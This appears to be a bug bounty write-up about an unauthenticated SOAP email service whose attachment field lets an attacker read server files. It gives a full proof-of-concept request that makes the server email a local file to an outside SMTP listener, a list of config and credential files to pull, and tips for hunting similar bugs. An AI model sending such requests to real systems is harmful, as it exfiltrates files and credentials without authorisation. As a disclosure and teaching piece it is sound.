How an Email Service Became
an Arbitrary File Read via SMTP Callback

// The target pattern

During recon on an anonymized bug bounty target, I found an exposed SOAP-style email service. It was not a public feature, but it was reachable from the internet and accepted unauthenticated requests to send emails.

The method looked like a classic internal helper: provide a mail server, sender, recipient, subject, body, and port. But one field was far more dangerous than the others:

<strAttachment>string</strAttachment>

This parameter appeared to accept a raw filesystem path. If the backend passed that value directly to the mail attachment function, the server would read the local file and attach it to the outgoing email.

// Why SMTP callback mattered

For many out-of-band bugs, DNS or HTTP callbacks are enough. This case was different. The vulnerable behavior happened inside an email delivery flow, so the cleanest evidence had to come from SMTP.

Instead of building and maintaining a custom mail server, I generated a dedicated Pingback.sh SMTP listener. The target was then instructed to send the email to that listener. The moment the service connected, Pingback captured the full callback.

// Proof of Concept

The proof-of-concept below uses a harmless Windows test file to demonstrate the issue. The target name and domains are anonymized.

POST /EmailService/SendEmail.asmx HTTP/1.1
Host: mail-service.target.tld
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://target.tld/EmailService/SendEmail.asmx/SendNetMail"

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema"
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SendNetMail xmlns="http://target.tld/EmailService/SendEmail.asmx">
      <mMailServer>smtp.pingback.sh</mMailServer>
      <mTo>callback@pingback.sh</mTo>
      <mFrom>security-test@example.com</mFrom>
      <mSubject>File read test</mSubject>
      <strEmailQuoteBody>test</strEmailQuoteBody>
      <strAttachment>C:\Windows\win.ini</strAttachment>
      <mPort>25</mPort>
    </SendNetMail>
  </soap:Body>
</soap:Envelope>

// The hit

The SMTP callback confirmed that the server connected outbound to the listener and delivered the message. More importantly, the email contained the requested local file as an attachment.

After decoding the attachment, the content matched the expected local Windows file. This confirmed arbitrary file read from the application server filesystem.

// Escalation

Once the basic file read was proven, the next step was to demonstrate realistic impact without overreaching. I used safe operating system files first, then showed how the same primitive could expose sensitive configuration and internal network data.

# Safe proof files
C:\Windows\win.ini
C:\Windows\system.ini

# Higher impact examples
C:\Windows\System32\drivers\etc\hosts
C:\Windows\debug\NetSetup.log
web.config
application.config
connectionStrings.config

In a real environment, files like hosts, web.config, and application logs can expose internal hostnames, database servers, credentials, service accounts, API keys, and network architecture.

// Why this is Critical

The vulnerable email service allowed an external attacker to make the server read arbitrary local files and send them as email attachments to an attacker-controlled SMTP listener.

This is more severe than a normal open mail relay. The attacker does not only send email; they use the application itself as a file exfiltration mechanism.

• Arbitrary local file disclosure from the application server.
• Internal hostname leakage through mail headers and system files.
• Potential credential disclosure through configuration files and logs.
• Reliable exfiltration channel through outbound SMTP.
• Unauthenticated attack surface if the email endpoint is public.

// The attack timeline

// The report

// Why Pingback made the difference

Without SMTP visibility, this vulnerability would have been much harder to prove. A normal HTTP callback would not show the attachment. A DNS callback would only prove name resolution. A personal mail server would require setup, logging, parsing, and manual attachment handling.

Pingback.sh compressed the whole process into one clean workflow: create listener, inject callback address, wait for SMTP hit, review headers, download attachment, submit proof.

// How to hunt for this class of bug

• Look for legacy email services such as SOAP, ASMX, mail helpers, notification endpoints, and support ticket mailers.
• Search for attachment parameters like attachment, filePath, path, document, template, or strAttachment.
• Check whether the mail server is user-controlled. If you can set SMTP host, port, sender, or recipient, the impact increases.
• Use safe proof files first such as win.ini or system.ini.
• Confirm through SMTP callback so the evidence contains the real delivery event and the actual attachment.